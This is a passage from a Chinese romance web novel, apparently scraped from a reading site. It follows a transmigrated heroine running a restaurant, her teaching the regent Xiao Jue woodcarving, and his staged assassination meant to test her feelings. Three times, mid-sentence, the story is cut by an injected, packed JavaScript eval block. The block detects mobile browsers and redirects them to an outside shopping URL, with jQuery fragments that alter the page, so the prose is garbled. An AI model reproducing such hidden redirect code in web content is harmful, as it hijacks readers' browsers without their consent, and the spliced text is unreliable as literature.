余柚靠在二楼临窗的栏杆上,指尖轻叩着木质扶手,望着楼下熙攘的人流,心里还记挂着昨日西山桃林里那番猝不及防的悸动,指尖仿佛还残留着替摄政王包扎伤口时,触到他微凉皮肤的触感。
“小姐,宋大人已经到楼下了。”小橘轻步走来,低声回禀。
余柚回过神,敛了敛心头那点莫名的情绪,点了点头:“请他到雅间吧,备一壶雨前龙井。”
她今日特意选了盛京楼的雅间,一来是自家地界,说话自在,二来也算是借着谈生意的由头,免得宋修筠觉得突兀。毕竟相亲这事儿本就是娘亲一厢情愿的乌龙,她总得说清楚,别误了人家,也别让两人之间那点诗词相交的情分,落得尴尬收场。
雅间内,茶香袅袅,氤氲着淡淡的水汽。宋修筠已端坐桌前,一身天青色常服,眉眼温润,见余柚进来,起身拱手,唇角噙着温和的笑意:“余小姐相邀,不知可是有合作上的事要商议?”
余柚福身回礼,在他对面坐下,抬手为他斟了杯茶,开门见山,没有绕弯子:“宋公子,今日请你过来,并非为了生意,而是有件事,想与你说清楚。”
宋修筠端着茶杯的手微顿,抬眸看她,眼底带着几分疑惑,却依旧温和:“余小姐请讲,在下洗耳恭听。”
“前日踏青归来,我问过家母,得知她与宋夫人往来,竟私下将你视作我的相亲人选,还刻意安排我们二人相见。”
余柚看着他,语气诚恳,“此事纯属家母的一厢情愿,我事先毫不知情,直到前日摄政王提点,才知晓其中缘由。今日与你说这些,是想澄清这桩乌龙,免得误了公子,也免得我们之间,因这无端的误会,失了诗词相交的情分。”
她说得坦荡,没有半分扭捏,眼底的真诚清晰可见。
宋修筠握着茶杯的手指微微收紧,杯沿抵着掌心,温热的茶水却暖不透那点骤然升起的失落。
他沉默了片刻,眼底的温润淡了几分,却依旧没有半分愠怒,只是轻声道:“原来如此。我倒未曾察觉伯母的心意,只当是寻常的生意往来,加之与余小姐谈诗论句甚是投契,便欣然赴约,倒是唐突了。”
余柚闻言,心里松了口气,又带着几分歉意:“是家母考虑不周,扰了公子清净,还望公子海涵。”
“余小姐言重了。”宋修筠抬眸,看向她的目光重新恢复了平和,只是那平和之下,藏着一丝难以掩饰的怅然,“我虽痴迷诗词,却也知晓世事分寸。既只是乌龙,那便揭过便是。只是……”
他顿了顿,眼底闪过一丝期许,小心翼翼地问道:“虽无相亲之缘,不知往后,我还能与余小姐探讨诗词吗?那日琼林苑的飞花令,西山桃林的诗文闲谈,皆是我近日来最畅快的时光,我实在舍不得这份知音之谊。”
见他并非恼怒,反倒只是在意能否继续探讨诗词,余柚悬着的心彻底放下,唇角漾开真切的笑意。
“自然可以。宋公子于诗词一道见解独到,与你交谈,我也获益良多。不过是一场乌龙,怎会影响我们谈诗论句?往后公子若有兴致,随时可以寻我,或是相约雅茶肆,或是就在这盛京楼,都无不可。”
宋修筠眼中的失落瞬间散去,重新焕发出光亮,如拨云见日,他端起茶杯,对着余柚遥遥一举,语气轻快了几分:“多谢余小姐!能得余小姐这般通透的知己,实乃在下之幸。”
“宋公子客气了。”余柚举杯回敬,茶水相碰,发出清脆的轻响,压下了先前那点微妙的尴尬,两人又像往日一般,聊起了近日新见的诗文,说起了那些“隐士高人”的绝妙诗句,气氛重新变得轻松融洽,仿佛方才那番澄清,不过是一场无关紧要的小插曲。
这般一聊,便到了日暮时分。夕阳西斜,将天边染成一片暖橘色,余晖透过窗棂,洒在两人身上,添了几分柔和。
“时候不早了,我便不打扰余小姐打理酒楼了。”宋修筠起身告辞,眉眼间依旧是温润的笑意,只是临别时,看了余柚一眼,那目光里,藏着一丝不易察觉的遗憾,却终究只是化作一句,“改日再约,探讨诗词。”
“宋公子慢走,改日再聚。”余柚送他到盛京楼门口,看着他登上马车,渐渐消失在街道尽头,才松了口气,心里那块石头总算落了地。
这桩乌龙总算是说清楚了,既没伤了和气,也保住了诗词相交的情分,重点是生意上的合作也保住了,算是圆满。
她正转身想回酒楼,眼角的余光却瞥见街角那辆熟悉的通体墨色马车,静静停在槐树下,车帘半卷,隐约能看见车内那道挺拔的身影。
是摄政王府的马车。
余柚的脚步一顿,心头莫名一跳,下意识地想转身躲开,却见汪公公已经快步走了过来,躬身行礼,笑容堆得满脸,语气恭敬:“余小姐,王爷在车内等您,说有木雕技法上的疑惑,想请您回王府一趟,指点一二。”
又是木雕。
余柚暗自腹诽,这位摄政王怕是迷上木雕了,整日里找各种借口让她去王府教雕刻,偏生还每次都用那种不容拒绝的语气。
她抬头看向那辆马车,车帘内,那道身影端坐其中,墨色的衣料衬得他身形愈发挺拔,虽看不清面容,却能感受到那股与生俱来的威严。
躲是躲不掉的。
况且系统的阶段任务还是“嘴硬心软”,行动上要表达关怀,总不能连他的邀请都直接拒绝,落了他的面子。
余柚抿了抿唇,压下心头那点莫名的悸动,硬着头皮走上前,对着马车微微福身:“王爷。”
车内传来萧绝低沉清冷的声音,听不出情绪:“上来。”
简单两个字,却带着不容置喙的命令。
余柚没有办法,只得撩开车帘,弯腰上了马车。车厢内依旧熏着淡淡的雪松香,熟悉的味道萦绕在鼻尖,让她莫名觉得心安,又有些局促。
萧绝端坐于一侧,手中拿着一卷书册,正是她前日送来的话本,见她进来,抬眸看了她一眼,墨色的眼眸深不见底,落在她身上,带着一丝探究,却并未多问,只是将话本放在一旁,淡淡道:“今日教本王雕些什么?”
余柚在他对面坐下,刻意拉开了一点距离,语气依旧是那副带着点硬邦邦的调子,却比往日柔和了几分:“王爷连星星都雕得磕磕绊绊,不如今日继续练基本功,雕些简单的花草,练一练手感。”
她说着,眼角的余光瞥见他放在一旁的话本,封面上写着《扬州意》,正是她挑的一本才子佳人的话本,讲述的是扬州书生与富家小姐相遇相知,书生救了小姐性命,小姐以身相许,最终携手一生的故事。
看来这位权倾朝野的摄政王,是真的看进去这些话本了。
余柚竟莫名觉得有些割裂。
萧绝顺着她的目光看向那本话本,唇角几不可察地弯了一下,没有接她关于木雕的话,反倒拿起话本,指尖轻叩着封面,状似不经意地问道:“这本《扬州意》,余小姐可有看过?”
“自然是看过的。”余柚点头,这本是她特意挑的,情节简单,文笔清丽,最适合摄政王这种“话本初学者”,“不过只是些民间消遣的小故事,王爷日理万机,竟还有闲情看这些?”
嘴上说着略带嫌弃的话,眼底却带着一丝好奇,想知道这位高高在上的摄政王,对这些民间话本是什么看法。
“倒也不算闲情。”萧绝翻开话本,指尖落在其中一页,语气平淡,却带着一丝刻意的探究,“本王看这书中,有‘救命
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156823|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之恩,以身相许’的桥段,倒是觉得有趣。余小姐觉得,这世间真有这般情分吗?不过是举手之劳的救命之恩,便要以一生相许,是否太过轻率?”
余柚闻言,愣了一下,没想到他会突然问起这个。
她想了想,如实道:“话本里的桥段,本就是百姓们的美好期许,多有夸张。现实里,救命之恩自然该报,但未必就要以身相许。若是两情相悦,那便是美事;若是一方无意,强行相许,反倒成了累赘。”
她说得坦诚,眉眼间带着一丝通透,显然是有自己的想法。
萧绝看着她,墨色的眼眸里闪过一丝不易察觉的笑意,又追问道:“那若是余小姐,遇人有救命之恩,会如何报答?”
这个问题来得突兀,余柚心头一跳,下意识地想起自己数次救他的经历,那些借着“预知梦”的由头,暗中化解危机的举动,虽算不上明目张胆的救命之恩,还存在一些系统的乌龙,却也是实打实的帮他躲过了数次灾祸。
她定了定神,避开他的目光,拿起一旁的木雕工具,故作不在意地说道:“那要看是什么人了。若是品行端正的君子,便以金银相报,或是尽己所能帮其解难;若是品行不端之人,那便另当别论了。”
“王爷怎的突然问起这些,倒像是个闲来无事的书生,而非日理万机的摄政王。”
嘴上带着点调侃的刺,手里却已经拿起一块楠木,开始比划着,准备教他雕刻简单的兰草,行动上的偏爱,早已暴露了她的口是心非。
余柚感觉,她已经十分熟练嘴硬心软这个技能了。
萧绝看着她故作镇定的模样,眼底的笑意更浓,却没有点破,只是顺着她的话,状似不经意地转了话题,语气依旧平淡,却带着一丝不易察觉的试探:“方才见余小姐送宋修筠离开,二人相谈甚欢,倒是难得。今日约见,除了谈生意,想必还说了些别的吧?”
果然!
她就知道这人要问!
余柚捏着刻刀的手微顿,心里暗自嘀咕,这位摄政王的消息倒是灵通,她这边刚送宋修筠走,他那边就知道了,怕是早就派人盯着她了。
她抬眸看他,眼底带着一丝坦然,没有丝毫隐瞒,毕竟本就没什么见不得人的事:“也没说什么,只是澄清了一桩乌龙。家母误以为我与宋公子有意,私下将他视作相亲人选,今日约他出来,说清楚此事,免得误了人家。”
“哦?”萧绝挑眉,墨色的眼眸里闪过一丝不易察觉的愉悦,却依旧装作淡然,“原来只是乌龙。那宋修筠得知后,可有不悦?”
“宋公子并非小气之人,只是略有失落,不过得知还能与我探讨诗词,便又释怀了。”
余柚一边说着,一边拿起刻刀,在楠木上划出兰草的轮廓,动作娴熟,“宋公子于诗词一道颇有见解,与他谈诗,倒是一桩乐事。”
她说起宋修筠时,语气平和,带着一丝对其才华的欣赏,没有半分男女之情,纯粹而坦荡。
萧绝看着她专注雕刻的侧脸,听着她语气里的坦然,心头那点莫名的郁气彻底消散,取而代之的是一种淡淡的愉悦。
他沉默了片刻,看着她手中的刻刀在楠木上翻飞,划出流畅的线条,忽然开口:“那在余小姐眼里,本王与宋修筠,谁更合适当你的知己?”
这个问题来得猝不及防,余柚手中的刻刀一顿,差点划偏,她抬眸看向萧绝,撞进他深不见底的眼眸里,那里面藏着一丝玩味,还有一丝不易察觉的期许。
余柚的脸颊微微发烫,连忙移开视线,重新低头雕刻,语气硬邦邦地,带着点恼羞成怒:“王爷怎的问出这般幼稚的问题?宋公子是诗词知己,王爷是木雕徒弟,二者本就不同,何来比较之说?况且王爷日理万机,怎会有空做我的知己?”
19. 第 19 章
余柚嘴上说着吐槽的话,手下的动作却放轻了,刻意放慢了雕刻的速度,方便一旁的萧绝看清每一个步骤,妥妥的嘴硬心软。
萧绝看着她泛红的耳尖,听着她口是心非的话,眼底的笑意几乎要溢出来,他没有再追问,只是安静地看着她雕刻,车厢内只剩下刻刀与木料摩擦的“沙沙”声,混着窗外偶尔传来的市井喧嚣,还有淡淡的槐花香,竟显得格外静谧温馨。
马车轱辘轱辘,朝着摄政王府的方向驶去,夕阳的余晖洒在马车上,将那道墨色的身影,与身旁少女的身影,在车厢壁上投下交叠的剪影,缠缠绵绵。
摄政王府的书房,依旧是窗明几净,阳光透过雕花窗棂,洒在长案上,落在摊开的木雕工具和楠木之上,镀上一层暖金色的柔光。
余柚坐在案前,手中拿着刻刀,正一点点雕琢着楠木上的兰草,动作娴熟,指尖翻飞,每一刀都精准利落,不多时,一株兰草的雏形便已显现,叶瓣舒展,颇有几分清雅之态。
萧绝坐在她身侧,目光紧紧盯着她的手,眼神专注,连呼吸都放轻了,生怕打扰了她。
他手中也拿着一块楠木,跟着她的动作,一点点比划着,只是比起余柚的娴熟,他的动作显得有些笨拙,刻刀落下,总免不了歪歪扭扭,偶尔还会不小心刻深了,将好好的木料划出道道痕迹。
“手腕再稳一点,力道收着点,兰草的叶瓣要轻柔,不是劈柴,用那么大劲做什么?”
余柚余光瞥见他的动作,忍不住开口吐槽,语气带着点嫌弃,却还是放下手中的刻刀,伸手握住他的手腕,帮他调整姿势,“你看,这样,指尖扣着刻刀,力道从腕间传出去,轻轻划,慢慢来。”
她的指尖微凉,触碰到他温热的手腕时,两人皆是一顿。
余柚下意识地想收回手,却被萧绝轻轻按住,他的掌心温热干燥,覆在她的手背上,带着一丝不容挣脱的力道,语气低沉,带着一丝恳求:“别动,再教我一次,方才没看清。”
他的声音就在耳边,温热的呼吸拂过她的耳畔,带着淡淡的雪松香,让她的脸颊瞬间发烫,耳尖也染上一层绯红,连心跳都快了几分。
她能清晰地感受到他手腕的温度,还有他掌心传来的力道,那般沉稳,却又带着一丝不易察觉的颤抖,显然,他也并非表面那般平静。
余柚定了定神,压下心头那点莫名的悸动,硬着头皮,任由他按着自己的手,带着他的刻刀,在楠木上缓缓划过,划出一道流畅的弧线,正是兰草叶瓣的轮廓。
“看清楚了吗?就是这样,力道要匀,手腕要稳。”她的声音微微有些干涩,刻意放冷了语气,试图掩饰自己的失态,说完便立刻抽回手,往后挪了挪,拉开一点距离,拿起自己的楠木,低头继续雕刻,不敢再看他。
萧绝感受着自己手背上残留的微凉触感,还有楠木上那道流畅的弧线,眼底闪过一丝笑意,指尖轻轻摩挲着那道痕迹,仿佛还能感受到她的温度。
他低头,看着手中的楠木,按照方才她教的方法,重新拿起刻刀,一点点雕琢起来,这一次,动作果然沉稳了许多,虽依旧算不上完美,却比先前好了太多。
书房内再次恢复了安静,只剩下刻刀与木料摩擦的“沙沙”声,偶尔夹杂着余柚的吐槽声:
“这里刻深了,兰草的叶瓣要细一点,你这刻的是芭蕉叶吧?”
“手腕别晃,稳着点,再晃这木料就废了。”
“这还差不多,有点兰草的样子了。”
萧绝也不恼,任由她吐槽,只是安静地听着,按照她的指点一点点修改,眼底的温柔,藏都藏不住。
这般教着刻着,便到了掌灯时分。王府的下人端来晚膳,依旧是满满一桌子珍馐美味,皆是余柚爱吃的口味,显然是早有准备。
“先吃饭吧,雕了一下午,也累了。”萧绝放下刻刀,率先起身,朝着餐桌走去。
余柚也确实累了,手腕发酸,肚子也咕咕叫了,便也放下工具,跟着他走到餐桌旁坐下,也不客气,拿起筷子便开始吃,摄政王府的饭菜,向来合她的口味,比起尚书府的清淡,这里的珍馐更能满足她的口腹之欲。
萧绝坐在她对面,看着她吃得眉眼舒展的模样,唇角不自觉地弯了弯,也跟着动了筷,只是比起她的酣畅淋漓,他的动作依旧优雅,吃得不多,更多的时候,只是看着她吃。
“王爷怎的不吃?这些都是你府里的菜,难道不合口味?”余柚抬眸,见他只是看着自己,不由得疑惑道,语气依旧带着点硬邦邦的,却又带着一丝不易察觉的关心。
“无妨,本王不饿。”萧绝淡淡道,拿起茶杯,抿了一口茶,目光落在她身上,状似不经意地问道,“今日与宋修筠澄清了乌龙,往后便只做诗词知己?”
“自然。”余柚点头,夹了一块糖醋排骨放进嘴里,含糊道,“本就只是乌龙,说清楚了,便还是朋友,谈诗论句,各取所需,倒也自在。”
“那若是有旁人,再将你与宋修筠凑作一对,余小姐会如何?”萧绝又问,语气依旧平淡,却带着一丝不易察觉的危险。
余柚抬眸,看了他一眼,觉得他今日的问题格外多,却还是如实道:“若是旁人乱说,便直接澄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156824|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清便是。我与宋公子,只是诗词知己,并无其他心思,何必在意旁人的闲言碎语?倒是王爷,今日怎的总盯着我与宋公子的事问,莫不是太过清闲了?”
她的语气带着点调侃,眼底却带着一丝好奇,总觉得这位摄政王,今日似乎格外在意她与宋修筠的关系。
萧绝闻言,唇角几不可察地勾了勾,放下茶杯,淡淡道:“只是随口一问,余小姐不必多想。”
他没有再多问,只是安静地看着她吃饭,气氛重新变得轻松起来。
晚膳过后,余柚本想告辞回府,却被萧绝叫住:“今日雕的兰草,本王还有几处不懂,余小姐再指点一二,不如晚些再回府?”
又是这样,借着木雕的由头留她。
余柚暗自腹诽,却也没有拒绝,一来是确实还有几处细节没教完,二来是系统的任务要求行动关怀,她要心软,对这人的需求当然要尽量满足。
“也罢,那便再教王爷片刻。”她嘴上勉勉强强地应下来,脚下却已经转身,走回了书房,拿起刻刀,开始指点他雕琢兰草的细节。
书房内的灯光,暖黄而柔和,映着两人的身影,交叠在长案上,刻刀的“沙沙”声,在寂静的夜里,显得格外清晰。
萧绝看着身旁少女专注的侧脸,灯光洒在她的脸上,连细细的绒毛都清晰可见,长睫如蝶翼般轻颤,眼底带着认真的光芒,偶尔吐槽他的雕刻技术,语气带着点嫌弃,却又会耐心地一遍遍教他,直到他学会为止。
他的心头,泛起一股淡淡的温热,像是有什么东西,在悄然生根发芽,一点点占据了他的心房。
他想起初见她时,在宫宴上,她那般娇俏又倔强,当着文武百官的面,喊出“他,我死都不嫁”,那般张扬,那般耀眼。
想起她数次“预知”他的危险,用各种古怪的方法救他,往莲子羹里丢死老鼠,当众喝止下毒的侍女,宫宴上那句石破天惊的“王爷今日好生俊朗”,西山桃林里,她急切地为他包扎伤口,眼底的担忧,清晰可见。
想起她总是口是心非,嘴上说着嫌弃他,讨厌他,行动上却总是忍不住关心他,教他木雕,为他送药,陪他踏青,那般别扭,却又那般可爱。
他想,他大抵是栽了。
栽在了这个口是心非,却又温柔通透的小丫头身上。
从宫宴上的一眼,到数次的相处,她的一颦一笑,一举一动,都悄然刻进了他的心底,挥之不去,愈演愈烈。
他低头,看着手中的楠木,看着那株被他雕琢得略显笨拙,却又带着几分清雅的兰草,唇角的笑意,愈发温柔。
20. 第 20 章
盛京楼二楼的雅间里,余柚指尖无意识地划过冰凉的雕花窗棂,目光落在楼下往来的车马,心里却乱得像缠了团丝线。
管事刚汇报完上月的营收,账目漂亮得让人心喜,可她却没半分往日的雀跃,脑子里反复回放着前日在摄政王府的画面——暖黄灯光下,萧绝握着刻刀的手微微偏斜,她伸手去纠正时,指尖不经意擦过他的掌心,那点温热的触感,竟像生了根似的,在她心头烙下印记。
“小姐?”管事见她走神,轻声唤了一句。
余柚猛地回神,掩饰性地端起茶杯抿了一口,滚烫的茶水烫得舌尖发麻,却让她混沌的思绪清醒了几分。她放下茶杯,强作镇定:“无事,你把下月的上新计划再细说一遍。”
管事应声细说,可余柚的注意力却总也集中不起来。她烦躁地皱了皱眉,心底泛起一丝连自己都不愿承认的慌乱。
她是来完成任务的,萧绝只是任务对象,是这个世界的“剧情工具人”。从宫宴上的“死都不嫁”,到一次次被迫救他于危难,再到教他木雕的种种交集,都该是任务设定好的流程,不该掺杂任何私人情绪。
可不知从何时起,事情渐渐偏离了她的掌控。
她会在听到系统播报他遇险时,心跳骤然漏拍;会在教他木雕时,偷偷打量他专注的侧脸;会在他用那种带着探究的目光看她时,脸颊不受控制地发烫;甚至会在拒绝他的邀请后,心里掠过一丝莫名的失落。
这不是任务者该有的心态。
余柚深吸一口气,指尖攥得发白。她不能对任务对象动心,一旦动了心,就会失了分寸,甚至可能影响任务的走向。她的目标是完成任务,拿到重活一世的机会,其他的情愫,都是多余的牵绊。
必须止损。
从今日起,她要刻意减少和萧绝的相处,把所有精力都投入到盛京楼的打理和自己的小日子里。遛阿圆、看账本、和伙计们研究新菜品,让那些不该有的心动,在忙碌中慢慢淡去。
打定主意,余柚的眼神渐渐坚定。
接下来的几日,她果然成了盛京楼最勤勉的掌柜,天不亮就到店,深夜才回府,连陪阿圆遛弯的时间都掐得精准,绝不留一点空隙给胡思乱想。
摄政王府的人来了三次。
第一次是汪公公来请她去教木雕。
余柚头也没抬:“今日要核对季度账目,没空。”
第二次是侍卫来传话,说王爷新得了块上好的紫檀木,想请她指点。
余柚摆摆手:“酒楼新推了夏令菜品,我得盯着试菜。”
第三次,萧绝竟亲自派了马车来。
余柚站在府门口,看着那辆熟悉的墨色马车,咬了咬唇,找了个最无可反驳的理由:“今日要去城郊甘露寺祈福,求个平安符,王爷的邀约,只能心领了。”
说这话时,她能感觉到马车里投来的目光,带着一丝不易察觉的探究,让她心头微紧,却还是硬着心肠,转身牵着阿圆,朝着相反的方向走去。
她不知道,马车内,萧绝看着她刻意疏远的背影,墨色的眼眸一点点沉了下去,指尖无意识地摩挲着袖中的木雕工具,眼底翻涌着复杂的情绪。
他不是傻子,她的刻意回避,他看得一清二楚。
从最初的针锋相对,到后来的半推半就,再到如今的避如蛇蝎,她的态度转变太过明显,让他心头那点刚冒头的欢喜,瞬间被疑虑和郁气取代。
她到底在怕什么?还是说,她心里真的装着那个宋修筠?
这个念头一旦升起,便像野草般疯长。萧绝靠在车壁上,沉默良久,眼底渐渐闪过一丝偏执。
他从不缺耐心,可面对她,他却莫名地失了分寸。
既然她不愿来见他,那他便只能想办法,让她不得不来。
*
甘露寺的香火很旺,余柚随着人流跪拜祈福,手里攥着一枚刚求来的平安符,桃木质地,刻着简单的“平安”二字,红绳系着,小巧玲珑。
她其实不信这些,求符不过是为了给拒绝萧绝找个合理的借口。可此刻指尖摩挲着冰凉的桃木,心里却莫名升起一丝祈愿——愿任务顺利完成,愿她能守住本心,也愿……萧绝能平安顺遂。
别再给她整出什么紧急任务了。
保护好自己行吗?
这个念头刚冒出来,就被余柚强行压了下去。她摇了摇头,暗骂自己不争气,转身朝着寺外走去。
刚走到山门口,脑海里突然响起系统急促的警报声,像惊雷般炸响:
【叮!紧急任务触发!】
【任务对象萧绝于半个时辰后在王府别院遇刺,左臂中箭,失血过多将危及性命!请宿主立即前往化解危机!】
【任务限时:30分钟!】
【警告:任务失败将导致世界崩塌,所有进度清零!】
余柚的脚步猛地顿住,手里的平安符差点滑落。
遇刺?中箭?危及性命?
一连串的字眼砸得她头晕目眩,先前刻意维持的冷静瞬间崩塌,心头只剩下铺天盖地的慌乱。她甚至来不及细想,转身就朝着山下狂奔,裙摆翻飞,发丝凌乱,额角瞬间沁出细密的汗珠。
她一边跑,一边在心里暗骂自己没用。不过是个任务对象,不过是系统的强制要求,她为什么会这么慌?为什么一想到他可能出事,心脏就像被一只无形的手紧紧攥住,疼得喘不过气?
可现在不是纠结这些的时候,时间紧迫,她必须赶在半个时辰内赶到王府别院。
摄政王府的别院藏在西郊的密林旁,偏僻而安静。余柚跌跌撞撞地冲进去时,正看到院内一片狼藉,几名侍卫倒在地上,气息奄奄,而石桌旁,萧绝靠在那里,左臂插着一支羽箭,鲜血染红了大半截衣袖,顺着指尖滴落在青石板上,触目惊心。
他的脸色苍白得像纸,唇瓣毫无血色,墨色的眼眸半睁着,带着一丝虚弱,却在看到她冲进来的那一刻,瞬间亮了一下。
【叮!紧急任务已完成,任务对象暂无生命危险。】
系统的提示音适时响起,余柚却丝毫没有松口气,她冲到萧绝面前,蹲下身,目光死死盯着他流血的左臂,声音带着一丝自己都未察觉的颤抖:“你怎么样?疼不疼?府医呢?怎么还不叫府医!”
萧绝看着她慌乱失措的模样,看着她眼底毫不掩饰的担忧,苍白的唇角竟缓缓勾起一抹极淡的笑意,声音沙哑得像是砂纸摩擦:“你来了。”
“我能不来吗?”余柚又气又急,伸手想去碰他的伤口,却又怕弄疼他,手在半空中僵住,“谁让你这么不小心?身边的侍卫都是吃干饭的吗?连个刺客都拦不住!”
她的话像是责备,语气里却满是心疼。萧绝看得清楚,她的眼眶都红了,指尖还在微微颤抖,那模样,哪里有半分平日的疏离和抗拒?
他知道,他赌对了。
这场刺杀是他刻意安排的,箭伤也是真的,他就是想看看,在她心里,他到底有没有那么一点分量。既然要疏远他,那他遇险受伤,她还会不会来救他。
现在看来,答案远比他预想的要好。
“无妨,小伤。”萧绝垂下眼眸,语气带着一丝刻意的虚弱,甚至微微蹙起眉头,像是在强忍疼痛,“只是流了点血,死不了。”
“都这样了还叫小伤?”余柚瞪着他,看着那支还插在他胳膊上的箭,心头一紧,“箭还在上面!你忍一下,我帮你拔出来!”
她说着,便要动手,萧绝却伸出没受伤的右手,轻轻按住了她的手腕。他的掌心温热,力道却带着一丝不容拒绝的坚定:“别,府医马上就到,你……怕血。”
余柚愣了一下。她确实怕血,上次他掌心划伤,她都差点没忍住躲开,他居然记得。
心头莫名一暖,可看着他苍白的脸,那点暖意又瞬间被担忧取代。她挣开他的手,语气强硬:“现在管不了那么多了,再等下去,血都流干了!”
她深吸一口气,闭上眼,伸手握住箭杆,在萧绝耳边快速道:“我数三二一,你忍一下!三……二……一!”
话音未落,她猛地用力,将箭拔了出来。鲜血瞬间喷涌而出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156825|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,溅在了她的手背上,温热的触感让她胃里一阵翻涌,差点吐出来。可她强忍着不适,立刻撕下自己的衣袖,紧紧按住他的伤口止血。
萧绝的身体猛地一颤,额角沁出豆大的汗珠,却硬是没发出一点声音,只是紧紧盯着她。看着她强忍着不适为他止血的模样,看着她眼底的慌乱与担忧,他的心头泛起一股浓浓的暖意,连伤口的疼痛都仿佛减轻了许多。
府医很快赶到,身后跟着汪公公。见余柚正用衣袖为摄政王止血,手背上还沾着血,两人皆是一惊,却不敢多言,府医连忙上前,准备为萧绝处理伤口。
“等等。”余柚拦住了他,从袖中掏出那枚刚求来的平安符,红绳系着,在阳光下泛着淡淡的光泽,“我帮他上药,你们先退下。”
她的语气坚定,府医和汪公公对视一眼,见萧绝没有反对,便躬身退了出去,关上了院门。
院内只剩下他们两人,风吹过树叶,沙沙作响。余柚蹲在萧绝面前,小心翼翼地为他清理伤口,动作轻柔,生怕弄疼他。
她从随身的荷包里掏出一瓶金疮药,这是她上次为他买药膏后,特意备在身上的,没想到真的派上了用场。
“忍着点,药有点刺激。”她轻声说,将药粉均匀地洒在他的伤口上。
萧绝“嗯”了一声,目光紧紧落在她的侧脸上。阳光洒在她的脸上,长长的睫毛在眼睑下投下淡淡的阴影,她的眉头微微蹙着,神情专注而认真,连鼻尖上沾着的一点灰尘,都显得格外可爱。
他看着她,看着她为他忙碌的模样,看着她手背上还未擦干的血迹,喉结微动,声音沙哑却带着一丝认真:“余柚,你已经救了我四次了。”
余柚的动作顿了一下,没抬头:“巧合而已。”
“不是巧合。”萧绝轻声说,“每次我遇险,你都恰好出现。按话本里的规矩,多次救命之恩,当以身相许。”
余柚的手猛地一顿,像是被施了定身术一般,僵在原地。
以身相许?
这四个字像惊雷般在她耳边炸响,让她瞬间慌乱起来。她猛地抬起头,撞进萧绝深不见底的眼眸里,那里面翻涌着温柔、认真,还有一丝不易察觉的期许。
她的脸颊瞬间发烫,从耳根一路蔓延到脖颈,心跳快得像要跳出胸腔。心里那点刚被压下去的心动,瞬间被这句话点燃,像野草般疯长,让她手足无措。
她对他,确实有那么一点心动。
心动于他笨拙学木雕的模样,心动于他偶尔流露的温柔,心动于他记得她怕血的细心。
可这仅仅是一点心动而已,远没到以身相许的地步。
她是任务者,他是任务对象,他们之间的一切,都源于剧本设定。一旦任务完成,她便会离开这个世界,开始新的人生。她不能陷进去,也不敢陷进去。
“王爷说笑了。”余柚慌乱地移开视线,不敢再看他的眼睛,手上的动作加快,语气带着一丝刻意的疏离,“臣女只是不忍旁观,不敢当王爷的以身相许。”
她快速为他缠上纱布,动作有些潦草,缠完后,立刻站起身,往后退了两步,拉开距离,手里还攥着沾血的衣袖,声音带着一丝慌乱:“伤口已经处理好了,臣女先行告退。”
说完,她不等萧绝回应,转身就朝着院门外狂奔而去,脚步慌乱,像一只受惊的小鹿。她甚至不敢回头,生怕自己会忍不住停下,会忍不住回应他的话。
看着她慌乱离去的背影,萧绝眼底的笑意渐渐淡去,取而代之的是一丝无奈与宠溺。他抬手,抚摸着手腕上那枚她遗落的平安符——方才她起身时,红绳不小心勾住了他的衣袖,掉在了他的手里。
桃木的触感冰凉,却带着一丝淡淡的香气,像是她身上的味道。
萧绝看着平安符,唇角缓缓勾起一抹温柔的笑意。
没关系,她只是还没准备好。
他有的是时间和耐心,等她慢慢放下顾虑,等她心甘情愿地走到他身边。
他低头,看着自己隐隐渗出血迹的左臂,虽然疼,却觉得无比值得。
21. 第 21 章
盛京楼的大堂里,往日里还算规整的客流,今日竟排起了长队。伙计们忙得脚不沾地,脸上却带着抑制不住的喜色,管事站在柜台后核账,指尖翻飞,嘴角都快咧到耳根。
余柚站在二楼栏杆后,看着楼下乌泱泱的人群,眉头却微微蹙着。
这几日盛京楼的生意好得反常,甚至有些离谱。往日里鲜少露面的朝廷官员,如今竟是扎堆往这儿跑,点的菜皆是酒楼最贵的招牌,结账时眼都不眨,临走前还总不忘往二楼看两眼,那眼神,分明是醉翁之意不在酒。
不用想也知道,这一切的始作俑者是谁。
余柚的目光越过人群,落在大堂角落的那张桌子上。萧绝一袭墨色常服,身姿挺拔地坐在那里,面前只摆着一壶清茶,并未动筷,目光却若有若无地落在二楼的她身上,嘴角还带着一丝若有似无的笑意。
自从上次别院一别,她便更加刻意地疏远他,可这位摄政王,却像是转了性子,往日里日理万机的人,如今竟天天腾出时间,往盛京楼跑。
